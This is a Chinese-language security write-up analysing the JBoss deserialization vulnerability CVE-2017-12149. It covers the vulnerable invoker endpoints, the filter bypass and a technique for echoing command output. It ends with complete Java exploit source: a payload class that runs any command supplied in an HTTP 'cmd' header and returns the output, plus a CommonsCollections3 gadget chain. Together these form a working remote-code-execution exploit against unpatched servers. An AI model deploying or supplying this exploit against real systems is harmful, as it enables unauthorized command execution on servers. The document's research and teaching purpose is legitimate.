JBoss反序列化漏洞(CVE-2017-12149)分析
JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用,2006年,JBoss被Redhat公司收购,现在已经改名为WildFly了。
JBoss反序列化漏洞(CVE-2017-12149)是很久以前就有的漏洞了,要去挖掘一个应用的漏洞,那就必须对已公开的漏洞进行研究,打好基础,熟悉应用情况,本文从环境搭建、漏洞复现、漏洞调试、漏洞利用等方面展开分析。漏洞影响版本为:Jboss 5.x、Jboss 6.x。
本文仅做技术交流,切勿用于非法用途,否则后果字符,转载请注明出处,谢谢!
0x01 调试环境
打开Jboss安装目录下的bin目录,找到run.bat文件,有如下配置
rem set JAVA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=y %JAVA_OPTS%
run.bat -b 0.0.0.0
JBoss启动画面如下, 启动后监听8787(调试端口)1090(rmi端口)8080(web端口)8009(ajp端口)
0x02 漏洞入口
JBoss启动后默认会部署几个应用APP,CVE-2017-12149漏洞为其中一个APP,漏洞触发点为url:/invoker/JMXInvokerServlet,在分析的过程中,发现url:/invoker/readonly/JMXInvokerServlet也存在返序列化问题,关联应用位置为jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,拷贝该目录到IDEA中方便进行调试,同时把WEB-INF/classes 下的class文件打包为jar,加入idea项目依赖库
查看web.xml文件,不难看出漏洞触发点是在org.jboss.invocation.http.servlet.InvokerServlet类,
其实还有多个触发漏洞的url,如
/invoker/JMXInvokerServlet/*
/invoker/readonly/JMXInvokerServlet/*
/invoker/restricted/JMXInvokerServlet/* 需要授权验证
0x03 漏洞分析
查看InvokerServlet类的源码,post请求和get请求都是调用processRequest方法进行处理,查看该方法可知漏洞触发点,直接从请求的流中反序列化对象。
其实漏洞很浅,直接在该处下断点吧,Java反序列化漏洞需要利用链,涉及到JBoss的依赖包,查看jboss-6.1.0.Final目录下lib中.jar文件,依赖了commons-collections和commons-beanutils,因此可以尝试使用ysoserial项目中的beanutils和collections利用链进行测试。
新建一个IDEA项目,拷贝ysoserial中的利用链CommonsCollections3,同时通过http协议发送payload到JBoss服务器,可以看到,意见弹出计算器,
同时可以在IDEA中查看到漏洞触发的调用栈
我在测试该漏洞的时候发现还有另外一个利用点,url为/invoker/readonly/JMXInvokerServlet
回到web.xml发现readonly开头的URL会被org.jboss.invocation.http.servlet.ReadOnlyAccessFilter过滤器拦
查看ReadOnlyAccessFilter类的doFilter,没有认证的时候会去做反序列化操作,触发漏洞。
0x04 漏洞回显利用
漏洞方便进行测试,最好是能够回显利用,Java反序列化漏洞的回显利用都与web容器相关连,不同的web容器,有不同的利用方式,但是基本上原理一致,都是要拿到response对象。
Tomcat、Weblogic等等回显大佬都写了,可以去百度以下,关于JBoss也一样,不外乎也就是通过执行代码获取到当前线程的response对象,调用其方法返回命令执行结果,可以在漏洞触发点的调用栈中往前去找那里可以拿到response对象,不难发现org.jboss.web.tomcat.service.request.ActiveRequestResponseCacheValve类在调用相关方法的时候把response对象放到了线程中。
而且可以直接通过静态属性拿到这个对象,配合ysoserial中的CommonsCollections3利用链,在反序列化的时候加载AbstractTranslet利用代码的字节数组为类,并执行利用类中的代码,执行命令获取response对象输入命令执行结果。
burpsuit抓包,重放可以看到已经回显。
当然也可以通过py来实现,在java利用代码中从request中获取需要执行的命令参数,然后通过java代码把post的字节数组转换为base64,然后复制到py中,通过py解码post过去即可。
0x05 总结
发现漏洞最好的方法就是要站在大佬们的肩膀上,把大佬们发现的漏洞吃透,当然这个漏洞现在看了是很弱智了,JBoss默认还自动部署了多个应用,启了多个端口,可以在仔细去看下,掌握流程、实现原理才能更好的挖到0day。
代码参考
package superman.payload;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.jboss.web.tomcat.service.request.ActiveRequestResponseCacheValve;
import javax.servlet.ServletOutputStream;
import java.io.*;
public class Echo extends AbstractTranslet {
static {
try {
Request request=ActiveRequestResponseCacheValve.activeRequest.get();
String cmd=request.getHeader("cmd");
if(cmd==null){
cmd="whoami";
}
String name=System.getProperty("os.name");
String[] cmds =name!=null&&name.toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", cmd}:new String[]{"sh", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
byte[] buf=new byte[1024];
int len=0;
ByteArrayOutputStream out=new ByteArrayOutputStream();
while ((len=in.read(buf))!=-1){
out.write(buf,0,len);
}
Response response=ActiveRequestResponseCacheValve.activeResponse.get();
ServletOutputStream sos = response.getOutputStream();
sos.write(out.toByteArray());
sos.flush();
sos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
package superman.payload;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import javax.xml.transform.Templates;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import superman.util.Gadgets;
import superman.util.Reflections;
public class CommonsCollections3{
public static Object getObject(Class c) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(c);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
}